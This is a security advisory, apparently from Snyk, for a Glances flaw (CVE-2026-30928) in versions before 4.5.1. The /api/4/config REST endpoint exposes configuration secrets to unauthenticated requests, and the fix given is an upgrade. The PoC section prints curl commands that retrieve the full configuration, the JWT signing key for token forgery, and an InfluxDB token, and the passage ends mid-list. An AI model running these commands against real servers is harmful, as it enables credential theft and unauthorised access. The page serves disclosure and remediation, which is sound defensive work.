Insertion of Sensitive Information Into Sent Data Affecting glances package, versions [,4.5.1)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-PYTHON-GLANCES-15469143
- published12 Mar 2026
- disclosed9 Mar 2026
- creditAman Rawat
Introduced: 9 Mar 2026
CVE-2026-30928 (opens in a new tab)How to fix?
Upgrade Glances to version 4.5.1 or higher.
Overview
Glances is an A cross-platform curses-based monitoring tool
Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in the self.config.as_dict() function, which returns the entire configuration including sensitive values without filtering for the /api/4/config REST API endpoint. An attacker can obtain credentials for backend services, API tokens, JWT signing keys, and SSL key passwords by sending unauthenticated requests to the affected API endpoint.
PoC
- Start Glances in default webserver mode:
glances -w
- From any network-reachable host, retrieve all configuration secrets:
curl http://target:61208/api/4/config
- Extract specific secrets:
# Get JWT secret key for token forgery
curl http://target:61208/api/4/config/outputs/jwt_secret_key
Get InfluxDB token
curl http://target:61208/api/4/config/influxdb2/token
Get all stored server passwords